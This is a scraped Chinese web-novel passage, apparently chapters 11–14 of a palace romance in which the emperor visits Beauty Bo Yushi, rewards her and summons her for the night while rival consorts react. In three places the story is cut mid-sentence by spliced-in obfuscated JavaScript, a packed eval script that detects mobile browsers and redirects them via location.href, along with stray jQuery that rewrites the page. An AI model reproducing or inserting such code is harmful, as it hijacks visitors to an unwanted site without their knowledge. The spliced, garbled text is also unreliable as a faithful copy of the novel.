刘康全这下明白了,心道郑宝林到手的恩宠飞了指不定多难受呢,一边毫不含糊地高声喊着:“摆驾玉芙宫!”御驾立刻转上宫道,往前向玉芙宫的方向去了。 玉芙宫离得近,只消一刻钟,御驾便稳稳当当停在了门前。 但温玄戈摆摆手,示意门前值守不必唱礼,里头的人不知道动静,丝毫不觉有异样,依旧一群人拍着手笑语连珠。 他在门前稍微听了会儿,里头竟是在比试踢毽子,一旁还有数拍子的。 温玄戈觉得新鲜,叫后头的人不要声张,顺着声音的来源,走到了绮绿馆门前。 他站在门外往里看去,庭院中间正背对他站着一个穿着丁香色衣裙的女子。 日光之下,她乌发如墨,肤色白皙胜雪,院内桃花簌簌,却只见她裙裾轻旋,足尖点戏,身量轻盈似蝴蝶飞舞。 如此情致,称得上活色生香了。 温玄戈难得贪看片刻,默不作声的看了好一会儿。 直到有人往门前看去,这才通过衣裳认出是谁,不由得脸色大变,“噗通”一声跪下道:“奴才给皇上请安!” 11. 第 11 章 这一声如惊雷炸响,一时间所有欢声笑语都停了,圣上忽而亲临,院子里十来个宫女太监都跪了下来。 薄予诗一慌,足尖才踢上去的羽毽没控制好角度,“啪”一声挂在了桃花树上。 温玄戈饶有兴味地望过去,只见人群中背对着他的女子并未第一时间转身见礼,而是明显愣了瞬。 待她彻底意识到发生什么了,这才缓缓侧首,先小心地瞧他一眼,然后连忙低头,转身,一气呵成地跪在了他跟前。 “妾身美人薄氏,恭请皇上圣安。” 她才踢了许久的羽毽,说话的时候连气息都不平稳。可嗓音却十分好听,温柔婉约,又清泠泠如山泉水,隐隐带着颤。 若要温玄戈来说,便是如风拂地,似鹿饮溪,加上她方才娇怯回眸那一眼,更是不尽风情了。 他淡淡垂眸欣赏这一幕美景,须臾,平声:“抬起头来。” 皇上未曾免礼,薄予诗不敢直视君王,只将下巴抬起来。等那一张雪肌杏腮的美人面完完整整地露在眼前,温玄戈登时便想起来了她是谁。 这般好颜色,宫中无人能出其左右。 薄家今年选秀入宫的嫡女,被他册为美人。入宫这么久,若非今日过来瞧见,险些忘了宫里还有这么一个人。选秀时见她,只觉得容貌美丽,品行端庄,不料还有这般灵动轻盈之态,倒是让他意外。 不过,后宫从不缺美貌之人。薄予诗的容貌虽尤其出众,足以一眼惊鸿,可若只有容貌,日子久了也没什么意思。 温玄戈贯是对古板的美人提不起什么兴趣的。 “免礼,都起身吧。” 这般说完,他先一步向屋内走去,摆明了是要在绮绿馆小坐的意思。 圣上突然驾临,雪娥欢喜得要疯了,连忙给月娥使眼色,准备奉茶端点心,一定伺候好皇上。 可薄予诗却瞧她一眼摇摇头,起身随皇上过去,刚进屋里,便听皇上又夸了一句:“你这屋子布置得倒雅致,改过格局了?” 薄予诗福了福身,实话实说道:“原先的也很好,只是妾身不喜那些过于鲜艳的颜色,也不喜屋内暗沉,所以将屋内陈设重新布置了一番。” 她起身,将暖阁的楹窗重新打开,露出外头那一树桃花来:“妾身喜欢淡雅自然之美,您瞧,是不是看着就感觉心情愉悦?” 温玄戈似笑非笑地看着她:“你很胆大。” 薄予诗稍稍歪头一笑:“皇上问话,妾身当然知无不尽。您第一回来绮绿馆,难道只许您吓唬妾身,就不许妾身炫耀屋内巧思吗?” “您若这么说,妾身就当皇上这是在夸妾身了。” 她此时仍穿着方才踢毽子时的裙装,束袖窄腰,裙裾简约,说话间更添几分爽利活泼,在盛行华丽打扮的宫中看起来格外令人耳目一新。 温玄戈一笑置之,坐在软榻上:“朕记得你父亲性情寡言古板,你这是随了谁?” 薄予诗坐在对面,红唇微微翘起,波光潋滟的一双眸看得温玄戈晃神:“皇上焉知人只有一面呢?妾身今日心情好,所以难免话多些。” “您若是想看妾身寻常的样子,那妾身就变回去给您瞧瞧。” 温玄戈笑了:“哦?如何变?” 薄予诗起身福了福:“还请皇上容妾身更衣。” “嗯,准。”温玄戈好整以暇地看过去,她果然带着几个宫女进了屏风后,倒真起了几分好奇。 薄予诗让月娥和雪娥伺候着给她更衣,换上宫妃平日里该穿的服饰。她特意挑了身霁色绣海棠花云锦宫裙,耳配珍珠铛,发簪赤金垂棠珍珠钗,一事一物都得搭配得宜。 半个时辰后,她自屏风后莲步轻移过来,入眼是悠悠一抹蓝,与方才截然不同,果真是正经宫妃的样子,看起来格外温婉沉静。 方才虽也清爽动人,可如今这打扮却与她更加相得益彰。温玄戈看得出来,她方才虽大胆活泼,别有一番情致,可瞧着却不似本性。现在换上宫中装束,华服珠玉加身,她的美反而愈发清艳逼人。 不过是更衣而已,给人的感觉却像从天真少女成了女人,连一颦一笑都添了几分勾人的风情。 许是审美作祟,温玄戈早已不是年轻气盛的少年时期,如今更喜欢女人有韵味些。 她一笑清浅,玉指纤纤挑开珠帘:“妾身让皇上久等了。” 温玄戈并不掩饰自己对眼前人的满意,抚掌而笑道:“薄美人果然不止一面,如此说来,倒是朕狭隘了。” 薄予诗走到皇上跟前,再度福身后坐在了软榻的另一侧,她单手托腮,看着皇上眨眨眼:“皇上从前不曾和妾身说过话,不了解也是人之常情。人常说不知者无罪,妾身大度些,就不和您计较了。” 温玄戈挑眉笑了声:“这么说,朕还得谢谢你了?” “小小美人,竟敢如此大胆。” 薄予诗重新坐端正,两只手都藏在桌案下面,模样看起来既可怜又无辜,偏又悄悄抬眼看过去,眼底秋水盈盈:“您是皇上,是天子,妾身小小女子诚惶诚恐,岂敢在您面前大胆放肆。” “都是妾身自作主张,看您笑了,以为在皇上跟前不必诚惶诚恐,事事呆板。” 看她这幅模样,怎么就这么可怜了?温玄戈知道她是装委屈,可装能装的让人动心爱怜,让人看了心里喜欢,这就是本事。 他笑道:“朕说你大胆,何时说过你放肆。” “朕倒想知道,依你的性子,若不大度饶了朕,又会如何?” 薄予诗果真掀眸看过去,一双眼睛波光流转,像会说话般吸着人盯着她瞧:“皇上当真想知道?” 她还真有想法。 温玄戈都不记得自打进这院子以来他笑了几回,总觉得她一言一行、一颦一笑都勾着他,让人身心愉悦,眼睛也愉悦。 “你说来听听。” 薄予诗这会儿一点也不委屈了,招手就把雪娥叫进来,说让她把酸杏干端进来。 她双手捧着酸杏搁在皇上跟前:“皇上九五之尊,威震四海,妾身不敢冒犯,更不敢多计较。只是这小小的干果子,妾身若想让皇上尝尝以作赔罪,皇上应当不介意吧?” 酸杏干本是常见之物,口味酸甜,生津开胃,是宫里常见的小吃食。但温玄戈从来不吃这类东西,何况宫中的酸杏干都因为盈妃爱吃酸食而酸度尤甚,除了在盈妃宫里能见到,几乎没人吃。 她这会儿刻意端出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550534|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又眼神狡黠,摆明了故意为之。 温玄戈当然不可能上她的当,慢条斯理道:“朕不喜欢吃这些。” 薄予诗轻轻“呀”了一声,只好将酸杏干重新推回自己这边:“那妾身踢毽子输了赌约,愿赌服输,看来酸杏干只能自己吃了。” 温玄戈说:“朕方才进来,看你踢得极好,这也能输?” 薄予诗的指尖在桌子上点了又点,怎么也下不去手拿酸杏干,最后却大着胆子,一点一点挪过去,戳了戳皇上扶着杯盏的手指。 她极小心,只触碰到一点点指尖便缩了回来,但温玄戈却看得分明,她有一双十分好看的手。 纤细修长,肤若凝脂,骨肉分布得恰到好处,极具美感。尤其指尖一抹绯色很特别,不像其余嫔妃偏爱嫣红,追求颜色越艳丽越好,她的指甲长度适中,修剪得圆润无暇,连蔻丹都似水泼上去一般,晕染得从淡到浓,以前从未见过。 也正是这手可堪完美,他眼看着她的动作却并不阻止,只觉得眼前人有趣的很。 果然,温玄戈又听见她说:“妾身在家时,踢毽子未逢敌手。今日和雪娥打赌,谁把毽子踢到桃花树上,谁罚一颗酸杏干。妾身本都打定了主意让她们把一碟酸杏干都吃了的,谁知道皇上悄默声就来了,妾身吓了一跳,这才踢到了树上。” “酸杏干本是妾身爱用之物,谁知宫里的这么酸,妾身实在下不去口……” 她说话的时候,声音软绵的很,小动作一个接一个。既拐弯抹角地怪自己来了不出声吓着她,也不提再让自己替她吃酸杏干一事,可她自己又不吃,显然是在撒娇。 温玄戈喉间逸出一声轻笑:“若这么说,果真是朕害的,朕还得补偿你了。” 薄予诗红唇漾开笑容:“若皇上这么说,雪娥她们定然不敢计较了,妾身替绮绿馆的宫人们谢过皇上赏赐。” 说罢,她起身向温玄戈行礼,仪态十分优雅好看。 温玄戈长嗯了声,手中的杯盖轻轻落回杯盏上:“既是薄美人输了赌约,朕若不想得周全些,你这做主子的也不能服众。” “不如这样,绮绿馆的宫女太监们一人赏两个月例钱,就当这酸杏干吃过了,如何?” 薄予诗笑意更浓:“皇上心思周到,自然再好不过了,妾身多谢皇上替妾身着想。” 温玄戈抬手虚扶一把:“你只替他们道谢,怎知自己没有赏?” 薄予诗意外的抬起头。 日光明媚,春色动人,斜打进来的阳光洒在眼前人白金色的缎面常服上,似镀上一层金光,愈发衬得他贵不可言。 好似在这个时候,他不是睥睨天下的帝王,只是寻常人家的矜贵公子,那般与她说笑,予取予求,称得上十分温和。 但这错觉只短短一瞬,薄予诗从不会忘记他是一个生杀予夺,不怒自威的君王,很讨巧地说:“皇上已为妾身免去责罚,妾身不敢贪心。可若您有心奖赏,妾身更加喜不自胜。” 温玄戈淡笑,敲敲桌案,唤道:“刘康全。” 刘康全本在院子内站着,听见后立刻应声,从外头躬身快步进来:“奴才在,不知皇上有何吩咐?” 温玄戈起身:“回建章殿。” 12.第 12 章 薄予诗呼吸一窒,原本挂在脸上的笑容凝固了瞬。 但此时皇上已经抬步离开屋内,她不敢耽搁,更不敢失仪,立马走到院内屈膝行礼恭送。眼见皇上重登御辇,浩浩荡荡的仪仗离开,她的心里却始终不能平静下来。 方才还好好的,皇上突然要走,是她哪里说错了吗? 与皇上初次见面,薄予诗不求赏赐,但求留一个好印象,可如今看来倒说不准了。 她心中惴惴,思来想去不知哪里有问题,只想到最后一句话,猜测着皇上是不喜欢有人说话拐弯抹角,还是不喜她那时的矜持。 院内的宫人们脸上犹自挂着笑脸,还沉浸在皇上的赏赐中,无人知晓此刻薄予诗心中的不安。唯有在屋门口伺候的雪娥和月娥知道发生了什么,担忧地看了她一眼。 雪娥也拿不准皇上是什么意思,只好低声安慰道:“小主别担心,许是皇上政务忙碌。奴婢看皇上对小主还是很有耐心的,您去更衣时,皇上并未有半分不悦,反而细细翻阅了您搁在桌案上的书,可见对您有意。否则,以皇上的身份又何必等呢?” “我知道,只是猜不透皇上心中在想什么,”薄予诗一时也想不明白,只好转身回房内,轻叹道,“今日皇上到来并不在我意料之中,可见宫中什么事都可能发生,不会事事如我所愿。” “只是皇上能来我固然欢喜,可也让我十分惊讶,竟半点声音没听到。若皇上下次再来,我依旧懵然不知,一旦被听到什么不该听的就坏事了。” 闻言,月娥也蹙眉道:“绮绿馆说是您的住所,可宫里又有哪一块地方不是皇上的,您的担忧并无道理。” 思来想去,薄予诗从妆奁中取出一支竹叶簪来,交给月娥道:“从今往后,凡是门口值守的宫女都要佩戴此簪,告诉她们,若将来还有人不让通传就进来,带着此簪的宫女就得站在院门右手的灯笼下面候着,我若在屋内正好能看见。” “小主思虑周全。” 月娥应下,正准备去安排,薄予诗想到什么,又交代道:“皇上今日来过的事不是秘密,估摸着绽蕊轩的人早就知道了,若是她们私下打听,就说皇上突然到来,说了几句话就走了,其余别说太多。” 如此交代一番,薄予诗重新回到屋内歇息,让院子里的小太监把挂树上的毽子取下来,有一搭没一搭的在手心里抛着玩。 另一边,温玄戈高坐在金舆上,想起方才美人错愕的表情,微不可察地勾了勾唇角。 她不是大胆吗?方才还吓了一跳。 温玄戈淡淡道:“刘康全。” “等会儿你去库房,将边疆新贡的玉镯挑出来成色最好的,都送到薄美人这来。” 刘康全抬眼一瞧,立马满脸堆笑地应下:“哎哟,看来这位薄美人颇得皇上您喜欢,您放心,奴才一定给您办好喽。” 薄美人出身不错,虽如今家中在官场上已没有什么高官,可到底是之前积年的世家了,家底十分丰厚。 何况这位薄美人容貌上乘,方才他还纳闷呢,以为是这位薄美人得罪了皇上,谁知皇上到底是满意的。 这样的主子,只要行事不糊涂,将来必是前途无限,他将事情办好了,少不得多讨赏钱。周旋在后宫这些主子身边,若没个实实在在的好处,他也不必多替她说好话得罪别的嫔妃了。 至于郑宝林—— 要怪就怪她自己时运不济,谁让皇上走到半途又改性子了呢。 - 有人欢喜有人愁,不久前,云华宫内。 为了迎接圣驾到来,按着规矩,住在云华宫内的郑宝林和李宝林及所有宫女太监都要在门口候着。 方才皇上身边的小盛子已经来过了,消息一出来,郑宝林便命人告诉了李宝林,好叫她也准备着接驾,别失了规矩。 这还是皇上第一次来云华宫,郑宝林不可谓不欣喜。毕竟云华宫偏僻,皇上懒得走动也是有的,之前侍寝都是坐着马车被载到建章殿,这回皇上难得来,她必须得好好表现。 所以在听到消息的那一刻起,她便命人为她补妆更衣,整理仪容,精心打扮后才到院内候着。 谁知等了好一会儿都没见人,郑宝林渐渐有些急了。 旁边的李宝林也有点纳闷。 她原本十分高兴,虽然知道郑宝林这般好心叫上自己也有炫耀的缘故,但可以借机见到皇上,即使皇上眼下不宠幸她,多接触总有好的。 谁知等了这么久都不来人,也不知道皇上是不是改变主意了,李宝林疑惑地朝郑宝林偷瞥了一眼。 但她没敢问出口,怕得罪了郑宝林。 虽说自己的出身稍微比郑宝林好些,可家父官职不高,郑宝林比自己得宠又脾性不好,实在没必要触她的霉头。 又这么等了好一会儿,宫道上还没看见御驾的影子,郑宝林终于耐不住了,朝着她的贴身宫女夏云说道:“你派人去看看,皇上怎么到现在还不来,是不是被什么事绊住了,我也好心里有个底儿。” 夏云说是,忙到后头吩咐了一个年级小的太监,让他出去打听打听,李宝林眼珠转了转,笑着说:“郑妹妹别担心,你最近炙手可热,皇上岂会失约?许是路上一时三刻有事耽搁了也是有的。” “若说起来,如今宫里的风头还不都在你身上?就连皇后娘娘昨儿请安的时候也赏你不少东西,可见你在皇上心里的地位了。” 李宝林这话说得好听,郑宝林心里总算舒坦了点,面上也重新绽开一抹笑容:“皇上心疼我,我心里自然知道。只是等了这么久还不见人,难免有些累了,我也是担心,害姐姐和我一起等着。” 李宝林当然听得出她话中的得意和受用。 二人同是宝林的位分,待遇却天差地别,恩宠更是不同。只是郑宝林这段日子的确得宠,凡事即使看得清楚明白也没必要说出来,落个表面客气就是了。 李宝林笑了笑转回脸,重新耐着性子在院中候着。 又过了约莫两刻钟的时间,前去打听消息的小太监终于小跑着回来了,跪下复命道:“小主,皇上的御驾走了不到一半就拐弯去了玉芙宫,据说是玉芙宫的薄美人在院内踢毽子玩,正巧被远处的皇上听见。” “皇上此时……此时已经进了薄美人的绮绿馆了!” 好好的恩宠被在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551038|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半路被人拦走了,郑宝林方才有多得意,这会儿就有多气愤。 尤其是满院的宫人都向她看过来,一副既畏惧又怜悯的模样,连一侧的李宝林也欲言又止,她便更加感觉到羞恼。 她紧紧攥住了拳,此时满身精致的打扮都成了笑话和徒劳,郑宝林努力平复了许久的心情,才冷淡的说句了句:“知道了,你们都退下去吧。” 见状,李宝林想了一下,还是上前劝道:“哎呀,这也不是什么大事,皇上毕竟有三宫六院,心思变来变去是难免的。何况现在还有好些新嫔妃皇上没宠幸过,一时新鲜也正常,你瞧齐贵人和林才人不也在你后头侍寝了?皇上还是最喜欢你。” 齐贵人和林才人自然也都是出身高贵的美人,可皇上最喜欢的还是她这个出身低微的嫔妃。 李宝林的安慰相当奏效,郑宝林下巴抬起,倔强着不肯在此时被人看笑话:“姐姐说的是,不过才见了一回,实在算不得什么,倒辛苦姐姐安慰我了。” 看着郑宝林强颜欢笑的样子,李宝林便不再多说,客气了两句转身回自己的院子里去了。 只是转过身的时候,嘴角不屑地撇了撇,显然是幸灾乐祸的样子。 凭你多得宠,难道还想独占皇上不成。如今受受打击也好,好让你知道,你这点恩宠着实不算什么,总在人前炫耀什么呢? 不过是人人都能轮上的东西。 - 玉芙宫,绮绿馆。 薄予诗在屋内漫不经心地把玩这那只羽毽,半个时辰后,宫门外再次传来了通传声。 雪娥脚步轻盈地从外头小跑进来,脸上的笑藏都藏不住:“小主,皇上身边的刘公公来了,说是送皇上的赏赐来了!” 薄予诗原本还在苦苦思索自己到底哪儿做错了,闻言,立刻意识到皇上方才不过是故意唬她。 若真的恼了才走的,何必让刘康全亲自送赏赐过来。赏赐是一回事,刘康全可是皇上御用的大太监,一般人何须他亲自走一趟。 她眼底顿时浮上几分喜色,开口道:“快请进来。” 片刻后,刘康全带着两个小太监从屋外进来,行礼道:“奴才给薄美人请安,美人万安。” 他摆摆手,示意两个端着赏赐的太监上前去,将锦盒里的东西呈给主子瞧:“这是皇上特命奴才去库房里挑的,今年边疆新贡进来的玉镯子里最好的两只。” “一只触手生温的羊脂玉,一只水头极好的翡翠,都是细圆条。皇上说了,薄美人皓腕如雪,素手纤纤,唯有上好的玉镯才能为您增色。” 得皇上如此夸奖,薄予诗玉手拈花,十分羞涩地侧看过去,柔声道:“妾身多谢皇上美意。” “公公专程走一趟辛苦了,这点心意,就当请公公喝茶了。” 雪娥从袖中拿出一个锦囊来,不偏不倚地搁在了刘康全的手心里头,那分量,足让他的手往下坠了几分,这才稳稳接住。 刘康全笑意更浓了,并不介意多卖她一个好:“小主前途无量,奴才就当沾沾您的喜气。” “这会儿离入夜还早,小主不妨提前准备着,想来入夜就有好消息了。” 13.第 13 章 刘康全是皇上身边最得力的大太监,他的话必有几分把握才说得出来。 他这么说,不光是薄予诗彻底踏实下来,就连雪娥和月娥都眼睛一亮,说不出的高兴。 “如此,便多谢刘公公吉言了。”薄予诗浅浅一笑,比方才的娇羞更添了几分柔美动人。 早知薄美人容色出众,可远观与近看又大不相同,这位新主子一笑,直看得刘康全都恍惚了一瞬,忌讳得立刻垂下眼去。 薄予诗十分客气:“月娥,你亲自送公公出去。” 两个小太监忙放下赏赐,刘康全又客套了两句后,由月娥亲自送到门外,等人走远了,月娥才疾步回到了屋内。 雪娥终于忍不住笑起来:“方才可吓坏奴婢了,还以为皇上对小主不满,谁知道皇上到底念着小主,这会儿算是彻底放心了。” 薄予诗轻笑道:“赏不赏赐我倒是没想,只怕言语不当得罪了皇上,那将来就更如履薄冰了。好在是我多心,皇上方才径直离去,不过是与我玩笑罢了。” 其实也不怪薄予诗如此担惊受怕,常言道伴君如伴虎,她们这位圣上就更是了。 不论皇上表面看起来是多么英俊神武,气度不凡,似乎不是个铁血狠辣的帝王,可如今朝堂之上,谁也不会忘记他是如何登上的帝王宝座。 薄家从前如何鼎盛,如今又为何大不如前,一切皆因此而起。故而,薄予诗时刻记得自己为何入宫,不敢有丝毫差错。 虽说皇上已经登基七年,许多前尘往事早已无人提起,可帝王心思深沉如海,她还是不敢赌。 毕竟,她不知道皇上如今是怎么看待薄家的,更不知道如何看待出身薄家的她。 好在这一对玉镯在手,便说明皇上对她并无厌恶,还有些许兴趣,这就很好了。 雪娥看着案几上摆着的两只玉镯,怎么瞧怎么喜欢,不因别的,这是皇上命刘康全亲自送来的,那就意义非凡。 皇上的赏赐,谁还没有了?一想起这阵子郑宝林在小主跟前那股子持娇的模样,她心底就不痛快。 小主是这世间最好的女子,自然配得上所有最好的东西。郑宝林是什么东西,也配在小主面前炫耀。等明日再给皇后娘娘请安的时候,看她还笑得出来吗? 雪娥左看右看,只觉得哪个都是好的:“小主,您看看您想戴哪只?不然今晚侍寝的时候戴一个,明日去请安再换一个,轮着戴,那才风光无限呢。” 月娥迟疑了瞬,低声道:“虽说小主今日得皇上青眼是好事,可若太张扬了,难免成了靶子。上回您帮着齐贵人已经得罪了盈妃,倒不如和而不扬,才是保险之道。” 薄予诗垂眸看了一会儿,将那只翡翠镯子戴在了手上,淡淡道:“原先没急着承宠,就是为了避免成为靶子,这不是已经有郑宝林出来了吗?再说了,今日皇上来绮绿馆又赐下赏赐的事人尽皆知,我若还这么沉得住气,在上头那些娘娘眼里,未免太沉稳些了。” 月娥犹豫道:“您的意思是,若表现得太沉稳,反而令人忌惮猜疑?” “我才进宫一个月,又年纪尚浅,即使出身官家见过世面,说到底也是藏不住心事的时候。若我事事太周全,不喜形于色又宠辱不惊,那也太吓人了点,”阳光下,她皓腕如雪,玉镯翠绿欲滴,实在是赏心悦目,薄予诗满意地笑了笑:“生存之道,就是该闭嘴的时候闭嘴,该愚蠢的时候愚蠢,否则人人见我如临大敌,我还能活几年。” “何况,这是皇上的赏赐。我若不戴,万一皇上觉得赏我东西没趣儿怎么办?赏赐这东西,就是得受礼的人欢天喜地,赏赐之人才能心中满足,这道理搁在谁身上都是一样的。” 月娥凝神颔首:“还是小主想得周到,奴婢便没想得这么长远。” 薄予诗弯眸,示意月娥和雪娥放松些:“你稳重踏实,雪娥机灵爽快,这就很好。我在宫里生活,既需要你时刻提点我沉下来,也得有雪娥这般能为我加油鼓劲的,否则我该怎么办?” 她摆摆手:“今晚侍寝的一干事宜,午膳后便着手准备起来。至于外头的消息,时刻留着心吧。” - 这一日,薄予诗呆在绮绿馆内没再出去。直到日头渐沉,暮色四合的时候,她才拢了拢身上的毯子,发觉已经快到晚膳的点了。 侍寝的人选一般都是晚膳前就定下来,晚膳后坐着车去建章殿,若是皇上来嫔妃宫内,也会提前掌灯。 但新妃入宫第一次都要在建章殿内侍寝,若皇上当真选了她,想来很快就会有御前的人来通知了。 薄予诗垂下长睫,微微颤了颤。 原本以为皇上选她是毋庸置疑的事,可下午月娥出去探听消息的时候,才得知皇上来绮绿馆之前,原本要去云华宫的郑宝林处。 圣心转圜是常有的事,但能转到她身上,自然也能再转到别人身上。何况皇上到底宠着郑宝林,万一为了弥补,晚上选了郑宝林侍寝也未可知。 夜色一点点攀上屋檐,漫进房间,薄予诗坐在梳妆台前良久无言,打算将腕间的镯子褪下去,谁知还没动手,雪娥从外头小跑进来,喜色溢于言表:“恭喜小主,贺喜小主,方才御前的人来了,请小主预备着今晚侍寝!” 尘埃落定,薄予诗再次勾起唇角,原本摸上手腕的手径直转向桌面上摆着的一只黄杨梳篦:“把先前调好的花汁子端进来,给我梳头。” 与此同时,绽蕊轩内,梅才人已经不记得自己站在院门口了多久。 她就这么眼睁睁看着御前来传旨的小太监匆匆地来又匆匆地去,心中说不出的失落。 她们这一批新人里,不论家世还是模样她都是上乘。虽说家世不如齐贵人,美貌不如薄美人,但扪心自问,自己不输她们几成风光,尤其和郑宝林比就更是了。 起初入住玉芙宫的时候,得知与薄美人一起住,她十分高兴,起码这说明,在上头眼里,她和薄美人一样都是有价值,有前途的。 但没想到,皇上如此出人意料,最先临幸的是郑宝林,最得宠的也是郑宝林。但不明白也罢,她总能安慰自己,连薄美人都没承宠,她又急什么?说不定皇上宠谁原本就不是单看美色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553036|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫔妃这么多,一时忘了也是有的。 就这么等啊等,忽而这一天,她却听到皇上去了绮绿馆,晚上薄美人要侍寝的消息。 若说不失望是假的,梅才人进宫又不是来混吃等死养老的,眼看着一个个都侍寝了,她心中难免焦急。 跟着一起入宫的陪嫁侍女品竹上前劝道:“小主,入夜了露气重,咱们还是回去吧。” “其实您想想,连薄美人都进宫了一个月才承宠,可见皇上的心思是无法揣度的。何况您这一批新入宫的嫔妃早晚会侍寝,您又何须伤怀。” 梅才人闷了好一会儿才哽咽道:“其实我知道,我就是突然觉得很心慌,觉得自己被落下了。我担心自己不光被落下了,还离她们越来越远,兴许将来连那群不如我的人都能踩在我头上。十二个新人,位分高的几个人里头,只有我没侍寝了。” 品竹叹了一口气,扶着梅才人往屋内走:“怎么会?您的出身摆在这,她们想越过您岂有这么容易。再说了,您和薄美人交好,将来见到皇上的机会多着呢……” “当真吗?皇上也会喜欢我?” “小主放宽心便是,自然是真的……” 当夜色彻底降临的时候,前来载着嫔妃去建章殿侍寝的马车缓缓停在了玉芙宫门前。 薄予诗从院内走出来,身后的雪娥手执宫灯随行而去,马车很快动身前往建章殿。马蹄声的回响渐渐越来越远,玉芙宫门前很快挂上两只精巧的艳红色灯笼,夜愈发浓重了。 不出很久,马车稳稳当当地停在侧门,薄予诗被雪娥扶着从车中走出来,门前已经候着四个司寝嬷嬷,见了人笑着朝她见礼。 忽而一阵晚风吹过,她毫无征兆地打了个冷战。身旁跟着的嬷嬷笑了声:“小主是冷了吧?春夜里凉,您仔细着了风寒。” “建章殿偏殿里引了温泉水给嫔妃们沐浴,润泽肌肤、驱寒散热都是最好的。” 建章殿是皇上居所,听说极为宽敞华贵,分为前后左右四个部分。前殿会见大臣,后殿为寝殿,左右两个偏殿一个分管沐浴,一个是书房。 嫔妃若来建章殿侍寝,都要坐车从侧门入,然后直接去偏殿沐浴更衣,再去后殿候着侍寝。 薄予诗知道这个流程,只是没想到建章殿比她想象中更大,光是沐浴的偏殿都如此富丽堂皇。一进门先是一个供嫔妃们更衣梳洗的隔间,穿过游廊便见层层轻纱曼舞,温泉池内洒满了花瓣,远远看过去白雾蒸腾,更有数名宫女等候着供她驱使。 嬷嬷们带着她先走了一圈,然后回隔间为她褪去衣衫,卸去钗环。等一头青丝缓缓垂落的时候,为她梳头的嬷嬷有些惊讶:“小主平素用什么头油?好香的头发。闻着虽然淡,却让人心里暖暖的,竟有如沐春风之感。” “宫里的嫔妃们常用茉莉油和桂花油,都是馥郁芬芳的上品,却从来没闻见过您这般的味道。” 薄予诗轻笑道:“并非什么稀罕玩意,不过是我闲来无事自己调的味道罢了,还请嬷嬷们将我头发包起来,别沾了水,这是今日才细细清洗润泽过的。” 14.第 14 章 嫔妃们来建章殿侍寝前都要沐浴,一来是为了验明真身保证安全,二来也是伺候皇上必要的清洁。 但有时为了争宠,她们难免会在身上用心思,譬如自己带来香膏擦身,或是穿上特质的寝衣,只要不出格,不至于惹皇上不悦都无伤大雅,这并非稀罕事。 因此薄美人的请求嬷嬷们并未拒绝,而是心照不宣地替她包了起来,只管替她将身子洗干净。 宫里的女人谁没有自己的心思?谁又不想争宠?何况这位薄美人美貌非常,将来或许前途无量,她们当然乐意卖个好。在宫里为奴为婢,做事勤快是一回事,识时务、有眼力见更是缺一不可。 用温泉水细细沐浴之后,薄予诗被宫女扶着走出来,擦干净身子重新坐到了梳妆台前。 她委婉拒绝了在身上涂抹香膏,只将头发重新散下来梳理整齐,温泉水洗过的肌肤细腻有光泽,本就是最好的滋养。 身后的嬷嬷替她仔仔细细地梳着头发,啧啧称赞道:“小主真是天生的美人坯子,您的肌肤吹弹可破,头发更是乌黑浓密,像一匹上好的缎子,整个后宫也没有能出您左右的。” 这话并非是嬷嬷有意客套,而是发自真心的赞叹。她从先帝还在时就在后宫了,伺候过好几个嫔妃,一生见过形形色色的美人无数,美丽似薄美人这般的寥寥无几。 更难得的是,她不光有这般容貌,更有想法,不像有些人似的,不管什么好东西都往身上堆砌,有时候恰到好处才最动人。 就像现在,她只挑选了一件面料柔软顺滑的丝绸寝衣,没有多余的绣花,更没有精致的款式,只恰好露出半个香肩。不曾描眉画眼,身上也没有浓郁的香气,只有一股与众人不同的,淡淡的香味。 尽管简单,可她那张脸却衬得愈发绝艳,勾人目光,只静静坐在那,便给人一种清水出芙蓉的清新之感。 一切收拾停当后,薄予诗独自从偏殿向后殿走去,门前侍奉的宫女行礼后为她轻轻打开门扉,她抬眼望去,里头十分安静,也不似偏殿那般明亮。 “小主还请先去床上等候,皇上在处理政务,晚些会过来。” 薄予诗颔首后缓步进去,门很快重新被拉上,整个寝殿内只有她自己一个人。 她本以为皇上的寝宫会比外面看到的更加金碧辉煌,不曾想,里头的装潢虽然依旧宽敞气派,陈设却称得上简单。 大朔乃第一强国,自皇上登基后国力愈盛,因此长安和宫中都盛行华美飘逸之风,这一点不光是在衣着上,就连吃食和住所也以精致华丽为美。 凡是富贵人家,皆住宅讲究,不光假山流水,亭台楼阁,便是细微之处也都会放上精致的摆件和挂画。 她初入宫时,即使是一个小小美人的住所也称得上精巧风雅,不料这天下之主的寝殿却是如此简约。 